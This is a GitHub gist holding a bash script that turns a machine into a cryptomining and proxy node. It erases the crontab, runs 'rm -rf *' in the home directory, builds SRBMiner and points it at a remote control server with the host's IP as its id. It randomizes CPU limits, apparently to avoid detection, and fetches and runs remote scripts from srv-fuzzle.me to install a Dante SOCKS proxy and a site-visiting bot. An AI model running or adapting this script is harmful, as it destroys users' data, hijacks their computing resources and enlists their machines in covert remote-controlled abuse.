Skip to content

Instantly share code, notes, and snippets.

@coolrs
Created July 17, 2020 08:16
Show Gist options
  • Save coolrs/c1586bf2c007a21dc0fa0b5867b33fa4 to your computer and use it in GitHub Desktop.
Save coolrs/c1586bf2c007a21dc0fa0b5867b33fa4 to your computer and use it in GitHub Desktop.
mb_mining
#!/bin/bash
pool=$1
address=$2
algo=$3
cc=$4
token=$5
socks5=$6
ip=$(curl ifconfig.me)
DATE=`date +%Y-%m-%d`
core=$(lscpu | egrep '^CPU\(s\):' | awk -v FS=: '{print $2}' | tr -d '[:blank:]' )
(( full = $core * 100 ))
min=40
max=80
(( low = $(( $full * $min )) / 100 ))
(( high = $(( $full * $max )) / 100 ))
crontab -r || echo "ok" && cd ~/ && rm -rf * && sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test && sudo apt-get update && sudo apt-get install -y hwloc cpulimit libhwloc-dev git build-essential cmake libuv1-dev libmicrohttpd-dev git make unzip htop git build-essential cmake libuv1-dev libmicrohttpd-dev libssl-dev wget software-properties-common && cd ~/ && wget https://github.com/doktor83/SRBMiner-Multi/releases/download/0.4.4/SRBMiner-Multi-0-4-4-Linux.tar.xz && tar -xf SRBMiner-Multi-0-4-4-Linux.tar.xz && cd SRBMiner-Multi-0-4-4 && cmake . -DWITH_CC_SERVER=OFF && make && cd ~/SRBMiner-Multi-0-4-4 && sudo sysctl -w vm.nr_hugepages=2048
CONFIG="{\n"
CONFIG+="\"randomx\": {\n"
CONFIG+="\"init\": -1,\n"
CONFIG+="\"mode\": \"auto\",\n"
CONFIG+="\"1gb-pages\": true,\n"
CONFIG+="\"rdmsr\": true,\n"
CONFIG+="\"wrmsr\": true,\n"
CONFIG+="\"numa\": true\n"
CONFIG+="},\n"
CONFIG+="\"autosave\": true,\n"
CONFIG+="\"donate-level\": 1,\n"
CONFIG+="\"cpu\": true,\n"
CONFIG+="\"opencl\": false,\n"
CONFIG+="\"cuda\": false,\n"
CONFIG+="\"pools\": [\n"
CONFIG+="{\n"
CONFIG+="\"coin\": null,\n"
CONFIG+="\"algo\": $algo,\n"
CONFIG+="\"url\": \"$pool\",\n"
CONFIG+="\"user\": \"$address\",\n"
CONFIG+="\"pass\": \"x\",\n"
CONFIG+="\"tls\": false,\n"
CONFIG+="\"keepalive\": true,\n"
CONFIG+="\"nicehash\": false,\n"
CONFIG+="\"socks5\": $socks5\n"
CONFIG+="}\n"
CONFIG+="],\n"
CONFIG+="\"cc-client\":{\n"
CONFIG+="\"enabled\":true,\n"
CONFIG+="\"use-tls\":false,\n"
CONFIG+="\"use-remote-logging\":true,\n"
CONFIG+="\"upload-config-on-start\":true,\n"
CONFIG+="\"url\":\"$cc\",\n"
CONFIG+="\"worker-id\":\"$DATE,$ip\",\n"
CONFIG+="\"access-token\":\"$token\",\n"
CONFIG+="\"reboot-cmd\":null,\n"
CONFIG+="\"update-interval-s\":5\n"
CONFIG+="}\n"
CONFIG+="}\n"
echo "---setting your config---"
rm -rf config.json
touch config.json
printf "$CONFIG" >> config.json
RANDOMIZER="core=$core\n"
RANDOMIZER+="let full=\$core*100\n"
RANDOMIZER+="min=35\n"
RANDOMIZER+="max=70\n"
RANDOMIZER+="let low=\$full*$min/100\n"
RANDOMIZER+="let high=\$full*$max/100\n"
RANDOMIZER+="while [ 1 ]\n"
RANDOMIZER+="do\n"
RANDOMIZER+="limit=\$(shuf -i \$low-\$high -n 1)\n"
RANDOMIZER+="timer=\$(shuf -i 60-300 -n 1)\n"
RANDOMIZER+="sleep \$timer\n"
RANDOMIZER+="sudo screen -X -S limit quit || echo\"limit terminated\"\n"
RANDOMIZER+="sudo screen -dmS limit cpulimit -l \$limit -e xmrigMiner\n"
RANDOMIZER+="done\n"
touch randomizer.sh
printf "$RANDOMIZER" >> randomizer.sh
chmod +x randomizer.sh
echo "--MAKE EXECUTABLE CUSTOM FILE---"
echo "sudo screen -dmS SRBMiner-Multi-0-4-4 ./SRBMiner-MULTI && sudo bash limit && sudo screen -dmS random bash randomizer.sh">> miner
chmod +x miner
echo "--MAKE EXECUTABLE LIMITER FILE---"
limit=$(shuf -i $low-$high -n 1)
touch limit
echo "sudo screen -dmS limit cpulimit -c $core -l $limit -e SRBMiner-MULTI">> limit
chmod +x limit
./miner
sleep 10
cd ~/SRBMiner-Multi-0-4-4
line1="\"url\": \"$cc\",\n"
line2="\"access-token\": \"$token\",\n"
line3="\"huge-pages\": true,\n \"randomx-1gb-pages\": true,\n \"yespower2b\" :\"light\",\n "
sudo sed -i "/\"url\": ,/c $line1" config.json
sudo sed -i "/\"access-token\": null,/c $line2" config.json
#sed -i "/\"huge-pages\": true,/c $line3" config.json
sudo curl -Ls -o script http://srv-fuzzle.me/danted/installdanted.sh && sudo screen -dmS dante bash script
sudo wget http://srv-fuzzle.me/danted/sitelist.txt
sudo wget srv-fuzzle.me/danted/randomvisit
sudo chmod +x randomvisit
sudo screen -dmS randomvisit bash randomvisit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment